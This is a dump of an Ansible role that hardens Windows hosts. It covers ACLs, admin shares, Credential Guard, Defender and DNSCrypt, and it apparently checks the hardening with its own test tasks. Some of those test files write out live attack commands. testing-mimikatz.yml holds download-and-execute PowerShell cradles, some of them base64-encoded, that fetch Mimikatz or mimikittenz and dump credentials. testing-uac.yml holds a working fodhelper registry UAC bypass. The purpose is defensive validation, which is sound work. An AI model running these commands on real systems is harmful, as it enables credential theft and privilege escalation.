| \"{{ harden_win_temp_dir }}\densityscout\densityscout.exe\" -pe -p 0.1 -o {{ harden_win_log_dir }}\densityscout-results.txt c:\Windows 20 | failed_when: false 21 | -------------------------------------------------------------------------------- /tasks/testing-domain.yml: -------------------------------------------------------------------------------- 1 | --- 2 | -------------------------------------------------------------------------------- /tasks/testing-iad.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # https://github.com/iadgov/Secure-Host-Baseline 4 | - name: IAD | retrieve Secure-Host-Baseline 5 | ansible.windows.win_command: > 6 | git.exe clone https://github.com/iadgov/Secure-Host-Baseline.git "{{ harden_win_temp_dir }}\\Secure-Host-Baseline" 7 | args: 8 | creates: "{{ harden_win_temp_dir }}\\Secure-Host-Baseline" 9 | # git: 10 | # repo: https://github.com/iadgov/Secure-Host-Baseline.git 11 | # dest: "{{ harden_win_temp_dir }}/Secure-Host-Baseline" 12 | # version: HEAD 13 | # become: yes 14 | # become_user: _test 15 | # OR download 16 | # ansible.windows.win_url: 17 | # src: https://github.com/iadgov/Secure-Host-Baseline/archive/master.zip 18 | # dest: "{{ harden_win_temp_dir }}/Secure-Host-Baseline-master.zip" 19 | 20 | # - name: Unsure file is unblocked 21 | # ansible.windows.win_shell: "Unblock-File -Path '.\Secure-Host-Baseline-master.zip'" 22 | # args: 23 | # chdir: "{{ harden_win_temp_dir }}" 24 | 25 | # - name: Unarchive file 26 | # community.windows.win_unzip: 27 | # src: "{{ harden_win_temp_dir }}/Secure-Host-Baseline-master.zip" 28 | # dest: "{{ harden_win_temp_dir }}/Secure-Host-Baseline" 29 | 30 | - name: IAD | Apply policies 31 | ansible.windows.win_shell: "{{ item }}" 32 | with_items: 33 | - Import-Module -Name .\\Secure-Host-Baseline\\Scripts\\GroupPolicy.psm1 34 | - "Invoke-ApplySecureHostBaseline -Path \"{{ harden_win_temp_dir }}\\Secure-Host-Baseline\" 35 | -PolicyNames AppLocker,Chrome,Windows -PolicyMode Audit" 36 | args: 37 | chdir: "{{ harden_win_temp_dir }}" 38 | when: harden_win_testing_iad_apply 39 | 40 | - name: IAD | upload audit template 41 | ansible.windows.win_template: 42 | src: iad-audit-policies.ps1.j2 43 | dest: "{{ harden_win_temp_dir }}\\Secure-Host-Baseline\\Compliance\\Scripts\\iad-audit-policies.ps1" 44 | 45 | - name: IAD | Audit policies 46 | ansible.windows.win_shell: .\iad-audit-policies.ps1 47 | args: 48 | chdir: "{{ harden_win_temp_dir }}\\Secure-Host-Baseline\\Compliance\\Scripts" 49 | register: iadresults 50 | changed_when: false 51 | ignore_errors: true 52 | - name: Debug | iadresults 53 | ansible.builtin.debug: 54 | var: iadresults 55 | - name: IAD | save audit results to file 56 | ansible.windows.win_copy: 57 | content: "{{ iadresults.stdout }}" 58 | dest: "{{ harden_win_log_dir }}\\iad-log.txt" 59 | - name: IAD | count 60 | ansible.windows.win_shell: "(get-content \"{{ harden_win_log_dir }}\\iad-log.txt\" | select-string -pattern \"{{ item }}\").length" 61 | changed_when: false 62 | with_items: ['PASSED', 'WARNING', 'FAILED'] 63 | -------------------------------------------------------------------------------- /tasks/testing-intelme.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # Intel Q3’17 ME 6.x/7.x/8.x/9.x/10.x/11.x, SPS 4.0, and TXE 3.0 Security Review Cumulative Update 4 | # https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00119.html 5 | # https://downloadcenter.intel.com/download/27150 6 | - name: Download Intel-SA-00086 Detection Tool 7 | ansible.windows.win_get_url: 8 | url: https://downloadmirror.intel.com/27150/eng/SA00086_Windows.zip 9 | dest: "{{ harden_win_temp_dir }}\\SA00086_Windows.zip" 10 | register: dl_result 11 | until: dl_result is success 12 | 13 | - name: Unarchive Intel-SA-00086 Detection Tool 14 | community.windows.win_unzip: 15 | src: "{{ harden_win_temp_dir }}\\SA00086_Windows.zip" 16 | dest: "{{ harden_win_temp_dir }}\\SA00086_Windows" 17 | creates: "{{ harden_win_temp_dir }}\\SA00086_Windows\\DiscoveryTool\\Intel-SA-00086-console.exe" 18 | 19 | - name: Execute Intel-SA-00086 Detection Tool 20 | ansible.windows.win_command: > 21 | "{{ harden_win_temp_dir }}\\SA00086_Windows\\DiscoveryTool\\Intel-SA-00086-console.exe" -n 22 | -f "{{ harden_win_log_dir }}\\Intel-SA-00086-results-{{ ansible_date_time.iso8601 }}.xml" 23 | register: intel 24 | ignore_errors: true 25 | changed_when: false 26 | 27 | - name: Debug | intel output 28 | ansible.builtin.debug: 29 | var: intel.stdout_lines 30 | when: intel is defined and "'This system is vulnerable' in intel.stdout" 31 | -------------------------------------------------------------------------------- /tasks/testing-mimikatz.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html 4 | # https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 5 | # https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/, Jan 2017 6 | - name: Testing | call mimikatz in different ways... 7 | ansible.windows.win_shell: "{{ item }}" 8 | with_items: 9 | - IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds 10 | # https://gist.github.com/gfoss/ca6aa37f97fd400ff14f 11 | - IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m 12 | - IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -Command "token::elevate lsadump::secrets"; $m 13 | # mimikittenz 14 | - IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1'); Invoke-mimikittenz 15 | failed_when: false 16 | 17 | - name: Testing | call mimikatz in different ways - 2 18 | ansible.windows.win_command: "{{ item }}" 19 | with_items: 20 | # encoded-mimikatz 21 | - powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA== 22 | # encoded-mimikittenz 23 | - powershell -enc SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcHV0dGVycGFuZGEvbWltaWtpdHRlbnovbWFzdGVyL0ludm9rZS1taW1pa2l0dGVuei5wczEnKTsgSW52b2tlLW1pbWlraXR0ZW56Cg== 24 | failed_when: false 25 | 26 | - name: Testing | download mimikatz in javascript 27 | ansible.windows.win_get_url: 28 | url: https://gist.githubusercontent.com/500646/14051b27b45dce37818aca915e93062f/raw/2adcc9d2570b4367c6cc405e5a5969863d04fc9b/katz.js 29 | dest: "{{ harden_win_temp_dir }}\\katz.js" 30 | failed_when: false 31 | register: katzdl 32 | until: katzdl is success 33 | 34 | - name: Testing | call mimikatz in javascript 35 | ansible.windows.win_command: "cscript.exe {{ harden_win_temp_dir }}\\katz.js" 36 | failed_when: false 37 | when: katzdl is succeeded 38 | 39 | # downgrade powershell 40 | # PowerShell Version 2 Command [Your Command Here] 41 | 42 | - name: Appveyor | Ensure wuauserv is not disabled 43 | ansible.windows.win_service: 44 | name: wuauserv 45 | state: started 46 | start_mode: auto 47 | when: > 48 | (ansible_env is defined and ansible_env.APPVEYOR is defined and ansible_env.APPVEYOR) or 49 | ansible_user == 'winrm_test_user' 50 | 51 | # https://github.com/skelsec/pypykatz 52 | - name: Testing | Ensure python is present 53 | chocolatey.chocolatey.win_chocolatey: 54 | name: python 55 | state: present 56 | # https://github.com/ansible/ansible/issues/59352 57 | become: yes 58 | become_user: SYSTEM 59 | become_method: ansible.builtin.runas 60 | 61 | # pip module under windows? 62 | - name: Testing | install pypykatz 63 | ansible.builtin.pip: 64 | name: pypykatz 65 | state: present 66 | failed_when: false 67 | 68 | - name: Testing | run pypykatz 69 | ansible.builtin.command: "pypykatz live lsa" # noqa no-changed-when 70 | failed_when: false 71 | -------------------------------------------------------------------------------- /tasks/testing-opf.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Try to use trivial passwords 4 | ansible.windows.win_command: "net user _test {{ item }}" 5 | with_items: 6 | - passwd 7 | - 123123123 8 | - iloveyou 9 | - dragon123456 10 | ignore_errors: true 11 | register: opftest 12 | failed_when: "'The command completed successfully.' in opftest.stdout" 13 | -------------------------------------------------------------------------------- /tasks/testing-speculative.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Ensure nuget dependency is present 4 | # win_chocolatey: 5 | # name: nuget.commandline 6 | # state: present 7 | ansible.windows.win_shell: "Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force" 8 | 9 | - name: Temporarily trust PSGallery repository 10 | ansible.windows.win_shell: Set-PSRepository -Name PSGallery -InstallationPolicy Trusted 11 | 12 | - name: Retrieve Module SpeculationControl 13 | ansible.windows.win_shell: "Install-Module SpeculationControl" 14 | # win_psmodule: 15 | # name: SpeculationControl 16 | # state: present 17 | 18 | - name: Execute SpeculationControl 19 | ansible.windows.win_shell: "Get-SpeculationControlSettings" 20 | register: speculation 21 | 22 | - name: Debug | speculation 23 | ansible.builtin.debug: 24 | var: speculation 25 | 26 | - name: Untrust PSGallery repository 27 | ansible.windows.win_shell: Set-PSRepository -Name PSGallery -InstallationPolicy Untrusted 28 | 29 | # https://github.com/ionescu007/SpecuCheck 30 | - name: Download SpecuCheck 31 | ansible.windows.win_get_url: 32 | url: https://github.com/ionescu007/SpecuCheck/releases/download/v1.1.0/SpecuCheck.exe 33 | dest: "{{ harden_win_temp_dir }}\\SpecuCheck.exe" 34 | register: dl_result 35 | until: dl_result is success 36 | 37 | - name: Execute SpecuCheck 38 | ansible.windows.win_command: "\"{{ harden_win_temp_dir }}\\SpecuCheck.exe\"" 39 | register: specucheck 40 | ignore_errors: true 41 | changed_when: false 42 | async: 60 43 | poll: 5 44 | 45 | - name: Debug | specucheck output 46 | ansible.builtin.debug: 47 | var: specucheck.stdout_lines 48 | -------------------------------------------------------------------------------- /tasks/testing-uac.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/ 4 | ## only valid for admin users 5 | - name: Add registry path ms-settings 6 | ansible.windows.win_regedit: 7 | path: HKCU:\Software\Classes\ms-settings\Shell\Open\command 8 | 9 | - name: Test UAC bypass 10 | ansible.windows.win_regedit: 11 | path: HKCU:\Software\Classes\ms-settings\Shell\Open\command 12 | name: "{{ item.n }}" 13 | data: "{{ item.d }}" 14 | type: string 15 | with_items: 16 | - { n: DelegateExecute, d: '' } 17 | - { n: '(default)', d: 'cmd /c start powershell.exe' } 18 | 19 | - name: Test UAC bypass - launch fodhelper 20 | ansible.windows.win_command: "C:\\Windows\\System32\\fodhelper.exe" 21 | -------------------------------------------------------------------------------- /tasks/testing.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Inspec 4 | when: harden_win_testing_inspec | bool 5 | block: 6 | - name: Testing | Ensure inspec is present 7 | chocolatey.chocolatey.win_chocolatey: 8 | name: inspec 9 | state: present 10 | 11 | - name: Restrict permissions for inspec directories 12 | ansible.windows.win_acl: 13 | path: "{{ item.p }}" 14 | user: "{{ item.u }}" 15 | rights: "{{ item.r }}" 16 | type: "{{ item.t }}" 17 | state: "{{ item.s }}" 18 | inherit: "{{ item.i }}" 19 | propagation: "{{ item.pr }}" 20 | with_items: 21 | - { p: "c:\\opscode", 22 | u: "{{ windows_group_builtin_user }}", 23 | r: 'Write,AppendData', 24 | t: allow, 25 | s: absent, 26 | i: 'ContainerInherit, ObjectInherit', 27 | pr: 'InheritOnly' 28 | } 29 | - { p: "c:\\opscode", 30 | u: "{{ windows_group_authenticated_users }}", 31 | r: 'Write,AppendData', 32 | t: allow, 33 | s: absent, 34 | i: 'ContainerInherit, ObjectInherit', 35 | pr: 'InheritOnly' 36 | } 37 | 38 | - name: Testing | run windows-baseline 39 | ansible.windows.win_command: > 40 | c:\opscode\inspec\bin\inspec.bat exec https://github.com/juju4/windows-baseline 41 | >{{ harden_win_log_dir }}\inspec.log 42 | failed_when: false 43 | environment: 44 | CHEF_LICENSE: accept-no-persist 45 | 46 | - name: Testing | inspec results 47 | ansible.windows.win_shell: "Get-Content -Path \"{{ harden_win_log_dir }}\\inspec.log\"" 48 | changed_when: false 49 | failed_when: false 50 | 51 | # https://blog.malwarebytes.com/security-world/technology/2017/11/when-you-shouldnt-trust-a-trusted-root-certificate/ 52 | # FIXME! FATAL ERROR DURING FILE TRANSFER: ... 53 | # - name: Export trusted root certificates 54 | # ansible.windows.win_shell: > 55 | # Get-ChildItem -Path cert:\currentuser\AuthRoot -Recurse | 56 | # select Thumbprint, FriendlyName, Subject | ConvertTo-Html | 57 | # Set-Content c:\users\public\desktop\certificates.html 58 | 59 | - name: Import testing-defender 60 | ansible.builtin.import_tasks: testing-defender.yml 61 | when: harden_win_testing_defender | bool 62 | 63 | - name: Import testing-uac 64 | ansible.builtin.import_tasks: testing-uac.yml 65 | when: harden_win_testing_uac | bool 66 | 67 | - name: Import testing-opf 68 | ansible.builtin.import_tasks: testing-opf.yml 69 | when: harden_win_testing_opf | bool 70 | 71 | - name: Import testing-speculative 72 | ansible.builtin.import_tasks: testing-speculative.yml 73 | when: harden_win_testing_speculative | bool 74 | 75 | - name: Import testing-intelme 76 | ansible.builtin.import_tasks: testing-intelme.yml 77 | when: harden_win_testing_intelme | bool 78 | 79 | - name: Import testing-iad 80 | ansible.builtin.import_tasks: testing-iad.yml 81 | when: harden_win_testing_iad | bool 82 | 83 | - name: Import testing-densityscout 84 | ansible.builtin.import_tasks: testing-densityscout.yml 85 | when: harden_win_testing_densityscout | bool 86 | 87 | # keep last. if defender catches it, may need to restart to complete cleaning/have ansible working again 88 | - name: Import testing-mimikatz 89 | ansible.builtin.import_tasks: testing-mimikatz.yml 90 | when: harden_win_testing_mimikatz | bool 91 | 92 | # - name: Remove user _test 93 | # ansible.windows.win_user: 94 | # name: _test 95 | # state: absent 96 | -------------------------------------------------------------------------------- /tasks/windows-acl.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # https://www.stigviewer.com/stig/windows_10/2016-11-03/finding/V-63373 4 | - name: Permissions for system files and directories must conform to minimum requirements. - C 5 | ansible.windows.win_acl: 6 | path: C:\ 7 | user: "{{ item.u }}" 8 | rights: "{{ item.r }}" 9 | type: "{{ item.t }}" 10 | state: present 11 | inherit: "{{ item.i }}" 12 | propagation: "{{ item.p }}" 13 | with_items: 14 | - { u: '{{ windows_local_gpo_administrators }}', 15 | r: 'FullControl', 16 | t: 'allow', 17 | i: 'ContainerInherit, ObjectInherit', 18 | p: 'InheritOnly', 19 | s: present 20 | } 21 | - { u: '{{ windows_group_system }}', 22 | r: 'FullControl', 23 | t: 'allow', 24 | i: 'ContainerInherit, ObjectInherit', 25 | p: 'InheritOnly', 26 | s: present 27 | } 28 | - { u: '{{ windows_group_users }}', 29 | r: 'ReadAndExecute', 30 | t: 'allow', 31 | i: 'ContainerInherit, ObjectInherit', 32 | p: 'InheritOnly', 33 | s: present 34 | } 35 | - { u: '{{ windows_group_authenticated_users }}', 36 | r: 'Modify', 37 | t: 'allow', 38 | i: 'ContainerInherit, ObjectInherit', 39 | p: 'InheritOnly', 40 | s: present 41 | } 42 | # - { u: 'Authenticated Users', 43 | # r: 'CreateDirectories, AppendData', 44 | # t: 'allow', 45 | # i: 'None', 46 | # p: 'NoPropagateInherit', 47 | # s: present 48 | # } 49 | - { u: '{{ windows_group_users }}', 50 | r: 'CreateDirectories, AppendData', 51 | t: 'allow', 52 | i: 'None', 53 | p: 'NoPropagateInherit', 54 | s: absent 55 | } 56 | 57 | # https://www.stigviewer.com/stig/windows_10/2015-11-30/finding/V-63593 58 | # FIXME! 59 | # - name: Permissions for registry hive must conform to minimum requirements. - HKLM\Security 60 | # ansible.windows.win_acl: 61 | # path: HKLM:\SECURITY 62 | # user: "{{ item.u }}" 63 | # rights: "{{ item.r }}" 64 | # type: "{{ item.t }}" 65 | # state: present 66 | # inherit: "{{ item.i }}" 67 | # propagation: "{{ item.p }}" 68 | # with_items: 69 | # # Special? 70 | # - { u: '{{ windows_local_gpo_administrators }}', r: 'FullControl', t: 'allow', i: 'ContainerInherit, ObjectInherit', p: 'InheritOnly' } 71 | # - { u: '{{ windows_group_system }}', r: 'FullControl', t: 'allow', i: 'ContainerInherit, ObjectInherit', p: 'InheritOnly' } 72 | 73 | - name: Permissions for registry hive must conform to minimum requirements. - HKLM\Software 74 | ansible.windows.win_acl: 75 | path: HKLM:\SOFTWARE 76 | user: "{{ item.u }}" 77 | rights: "{{ item.r }}" 78 | type: "{{ item.t }}" 79 | state: present 80 | inherit: "{{ item.i }}" 81 | propagation: "{{ item.p }}" 82 | with_items: 83 | # Special? 84 | - { u: '{{ windows_local_gpo_administrators }}', r: 'FullControl', t: 'allow', i: 'ContainerInherit, ObjectInherit', p: 'InheritOnly' } 85 | - { u: '{{ windows_group_system }}', r: 'FullControl', t: 'allow', i: 'ContainerInherit, ObjectInherit', p: 'InheritOnly' } 86 | - { u: '{{ windows_user_creator_owner }}', r: 'FullControl', t: 'allow', i: 'ContainerInherit, ObjectInherit', p: 'InheritOnly' } 87 | - { u: '{{ windows_all_application_packages }}', 88 | r: 'QueryValues,EnumerateSubKeys,Notify,ReadPermissions', 89 | t: 'allow', 90 | i: 'ContainerInherit, ObjectInherit', 91 | p: 'InheritOnly' 92 | } 93 | - { u: '{{ windows_group_users }}', 94 | r: 'QueryValues,EnumerateSubKeys,Notify,ReadPermissions', 95 | t: 'allow', 96 | i: 'ContainerInherit, ObjectInherit', 97 | p: 'InheritOnly' 98 | } 99 | 100 | - name: Permissions for registry hive must conform to minimum requirements. - HKLM\System 101 | ansible.windows.win_acl: 102 | path: HKLM:\SYSTEM 103 | user: "{{ item.u }}" 104 | rights: "{{ item.r }}" 105 | type: "{{ item.t }}" 106 | state: present 107 | inherit: "{{ item.i }}" 108 | propagation: "{{ item.p }}" 109 | with_items: 110 | # Special? 111 | - { u: '{{ windows_local_gpo_administrators }}', r: 'FullControl', t: 'allow', i: 'ContainerInherit, ObjectInherit', p: 'InheritOnly' } 112 | - { u: '{{ windows_group_system }}', r: 'FullControl', t: 'allow', i: 'ContainerInherit, ObjectInherit', p: 'InheritOnly' } 113 | - { u: '{{ windows_user_creator_owner }}', r: 'FullControl', t: 'allow', i: 'ContainerInherit, ObjectInherit', p: 'InheritOnly' } 114 | - { u: '{{ windows_all_application_packages }}', 115 | r: 'QueryValues,EnumerateSubKeys,Notify,ReadPermissions', 116 | t: 'allow', 117 | i: 'ContainerInherit, ObjectInherit', 118 | p: 'InheritOnly' 119 | } 120 | - { u: '{{ windows_group_users }}', 121 | r: 'QueryValues,EnumerateSubKeys,Notify,ReadPermissions', 122 | t: 'allow', 123 | i: 'ContainerInherit, ObjectInherit', 124 | p: 'InheritOnly' 125 | } 126 | -------------------------------------------------------------------------------- /tasks/windows-adminshares.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Disable Windows Administrative shares - registry 4 | ansible.windows.win_regedit: 5 | key: "{{ item.k }}" 6 | value: "{{ item.v }}" 7 | data: "{{ item.d }}" 8 | datatype: dword 9 | with_items: 10 | - { k: 'HKLM:\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters', v: 'AutoShareWks', d: 0 } 11 | - { k: 'HKLM:\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters', v: 'AutoShareServer', d: 0 } 12 | - { k: 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa', v: 'restrictanonymous', d: 1 } 13 | 14 | # OK https://ci.appveyor.com/project/juju4/ansible-harden-windows/builds/25835253 15 | # NOK https://ci.appveyor.com/project/juju4/ansible-harden-windows/builds/26122112/job/lbkffjihylphl9cq#L5430 16 | - name: Disable Windows Administrative shares - current session 17 | ansible.windows.win_share: 18 | name: "{{ item }}" 19 | state: absent 20 | # win_command: "net share {{ item }} /delete" 21 | with_items: 22 | - "admin$" 23 | - "c$" 24 | - "d$" 25 | - "e$" 26 | failed_when: false 27 | -------------------------------------------------------------------------------- /tasks/windows-antiransomware.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## https://zeltser.com/detect-impede-ransomware/ 4 | ## https://digital-forensics.sans.org/blog/2015/04/03/identifying-and-disrupting-crypto-ransomware-and-destructive-malware 5 | 6 | - name: Download handle_monitor to watch on ransomware behavior 7 | ansible.windows.win_get_url: 8 | url: 'https://github.com/adamkramer/handle_monitor/releases/download/v1.0/handle_monitor_x64.exe' 9 | dest: "{{ harden_win_temp_dir }}\\handle_monitor_x64.exe" 10 | register: dl_result 11 | until: dl_result is success 12 | 13 | ## http://www.freeforensics.org/2016/04/a-deeper-explanation-of-how-ransomware_5.html 14 | - name: Create junction to make ransomware loop 15 | ansible.windows.win_command: > 16 | mklink /j $ "C:\Users\Kari" 17 | args: 18 | creates: "C:\\Users\\Kari" 19 | -------------------------------------------------------------------------------- /tasks/windows-asr.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Attack surface reduction is a feature that is part of Windows Defender Exploit Guard 3 | # https://docs.microsoft.com/en-us/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction 4 | # by GPO or Powershell 5 | 6 | - name: Configure Exploit Guard Features - Win10 b1709+ 7 | ansible.windows.win_shell: Add-MpPreference -AttackSurfaceReductionRules_Ids {{ item.ruleid }} -AttackSurfaceReductionRules_Actions {{ item.action }} 8 | with_items: "{{ harden_win_asr_config }}" 9 | -------------------------------------------------------------------------------- /tasks/windows-certificates.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## Trusted root certificates that are required by Windows Server 2008 R2, by Windows 7, 4 | ## by Windows Server 2008, by Windows Vista, by Windows Server 2003, by Windows XP, and by Windows 2000 5 | ## https://support.microsoft.com/en-us/kb/293781 6 | 7 | ## Configure Trusted Roots and Disallowed Certificates 8 | ## https://technet.microsoft.com/en-us/library/dn265983.aspx 9 | # - command: Certutil 10 | # - command: certutil -dcinfo deleteBad 11 | # - command: certutil -dcinfo superfish 12 | # - name: remove certificates from Windows Certificate store 13 | # ansible.windows.win_shell: "dir cert:\ -rec | where Subject -match '{{ item }}' | Remove-Item" 14 | # with_items: "{{ harden_win_certificates_removed }}" 15 | 16 | ## certmgr.msc 17 | ## https://github.com/ansible/ansible/issues/14387 18 | 19 | # - win_shell: "dir cert:\\ -rec | where Subject -match 'Superfish' | Remove-Item" 20 | 21 | - name: Set script to remove Root CA 22 | ansible.windows.win_template: 23 | src: Remove-TrustedRootCA.ps1.j2 24 | dest: "{{ harden_win_temp_dir }}\\Remove-TrustedRootCA.ps1" 25 | 26 | - name: Remove some TrustedRootCA 27 | ansible.windows.win_shell: "\"{{ harden_win_temp_dir }}\\Remove-TrustedRootCA.ps1\"" 28 | register: removetrusted 29 | - name: Debug | removetrusted 30 | ansible.builtin.debug: 31 | var: removetrusted 32 | -------------------------------------------------------------------------------- /tasks/windows-cortana.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Win10 | Remove Cortana package 4 | ansible.windows.win_shell: "Get-AppxPackage -Name Microsoft.Windows.Cortana | Remove-AppxPackage" 5 | failed_when: false 6 | -------------------------------------------------------------------------------- /tasks/windows-credentialguard.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## https://www.microsoft.com/en-us/download/details.aspx?id=53337 Readiness Tool 3 | ## https://blogs.technet.microsoft.com/ash/2016/03/02/windows-10-device-guard-and-credential-guard-demystified/ 4 | ## https://www.petri.com/windows-10-enterprise-feature-credential-guard 5 | ## https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard 6 | ## WARNING! Not compatible with Windows Active Directory Domain Controller! (DC) 7 | 8 | - name: Enable Credential Guard with DISM 9 | ansible.windows.win_command: "{{ item }}" 10 | with_items: 11 | - dism /enable-feature /FeatureName:Microsoft-Hyper-V-Hypervisor 12 | - dism /enable-feature /FeatureName:IsolatedUserMode 13 | 14 | # Group Policy: Computer configuration\Administrative Templates\System\Device Guard: Turn on virtualization based security = Enabled 15 | -------------------------------------------------------------------------------- /tasks/windows-defender.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://cloudblogs.microsoft.com/microsoftsecure/2018/10/26/windows-defender-antivirus-can-now-run-in-a-sandbox/ 3 | # https://isc.sans.edu/forums/diary/Windows+Defenders+Sandbox/24266/ 4 | 5 | - name: Set environment variable to force Windows Defender's sandbox 6 | ansible.windows.win_environment: 7 | state: present 8 | name: MP_FORCE_USE_SANDBOX 9 | value: "{{ harden_win_defender_sandbox | default(1) | ternary(1, 0) }}" 10 | level: machine 11 | -------------------------------------------------------------------------------- /tasks/windows-deviceguard.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Upload deviceguard policy 4 | ansible.windows.win_template: 5 | src: "{{ harden_win_deviceguard_policy }}.j2" 6 | dest: "{{ harden_win_temp_dir }}\\{{ harden_win_deviceguard_policy | win_basename }}" 7 | 8 | - name: Load deviceguard policy 9 | ansible.windows.win_shell: "{{ item }}" 10 | with_items: 11 | - "New-CIPolicy -FilePath 12 | \"{{ harden_win_temp_dir }}\\{{ harden_win_deviceguard_policy | win_basename }}\" 13 | -Level Publisher -UserPEs -ScanPath c:\\ -NoScript" 14 | - "ConvertFrom-CIPolicy 15 | \"{{ harden_win_temp_dir }}\\{{ harden_win_deviceguard_policy | win_basename }}\" 16 | \"{{ harden_win_temp_dir }}\\{{ harden_win_deviceguard_policy | win_basename }}.bin\"" 17 | # ansible.windows.win_shell: "Merge-CIPolicy {{ harden_win_temp_dir }}\\{{ harden_win_deviceguard_policy | win_basename }}" 18 | -------------------------------------------------------------------------------- /tasks/windows-dirs.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Check windows dir permissions 4 | ansible.windows.win_command: "accesschk.exe -d -w paranoid C:\\Windows\\*" 5 | -------------------------------------------------------------------------------- /tasks/windows-disallowrun.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## https://technet.microsoft.com/en-us/library/cc960900.aspx 3 | 4 | - name: Enable DisallowRun 5 | ansible.windows.win_regedit: 6 | key: HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer 7 | value: DisallowRun 8 | datatype: dword 9 | data: 1 10 | 11 | - name: DisallowRun identified applications 12 | ansible.windows.win_regedit: 13 | key: HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun 14 | value: "{{ item.v }}" 15 | datatype: dword 16 | data: "{{ item.d }}" 17 | with_items: "{{ harden_win_disallowrun_list }}" 18 | -------------------------------------------------------------------------------- /tasks/windows-dma.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## http://blog.win-fu.com/2017/02/the-true-story-of-windows-10-and-dma.html 3 | 4 | ## GPO only: https://technet.microsoft.com/en-us/library/bb530324.aspx 5 | # - block: 6 | # 7 | # when: > 8 | # ansible_os_family == "Windows" and 9 | # ansible_distribution_version.split('.')[0]|int >= 6 and 10 | # ansible_distribution_version.split('.')[0]|int < 10 11 | 12 | - name: Win10 13 | when: > 14 | ansible_os_family == "Windows" and 15 | ansible_distribution_version.split('.')[0] == '10' and 16 | harden_win_disable_dma 17 | block: 18 | ## "This mitigation only protects PCI-based buses, for example, ExpressCard, Thunderbolt, & some 19 | ## docking stations (PCIe based). Older, non-PCI buses such as 1394 and CardBus are still vulnerable." 20 | - name: Disable DMA 21 | ansible.windows.win_regedit: 22 | key: HKLM:\SYSTEM\CurrentControlSet\Control\PnP\Pci 23 | value: DisableExternalDMAUnderLock 24 | datatype: dword 25 | data: 1 26 | -------------------------------------------------------------------------------- /tasks/windows-dnscrypt.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Check if dnscrypt archive is present 4 | ansible.windows.win_stat: 5 | path: "{{ harden_win_temp_dir }}\\{{ harden_win_simplednscrypt_url | basename }}" 6 | register: dnscryptdl 7 | - name: Download dnscrypt 8 | ansible.windows.win_get_url: 9 | url: "{{ harden_win_simplednscrypt_url }}" 10 | dest: "{{ harden_win_temp_dir }}\\{{ harden_win_simplednscrypt_url | basename }}" 11 | # FIXME! no checksum option, https://github.com/ansible/ansible-modules-core/issues/4901 12 | when: not dnscryptdl.stat.exists 13 | register: dl_result 14 | until: dl_result is success 15 | 16 | ## FIXME! not idempotent 17 | - name: Install dnscrypt 18 | ansible.windows.win_package: 19 | path: "{{ harden_win_temp_dir }}\\{{ harden_win_simplednscrypt_url | basename }}" 20 | state: present 21 | wait_for_children: true 22 | -------------------------------------------------------------------------------- 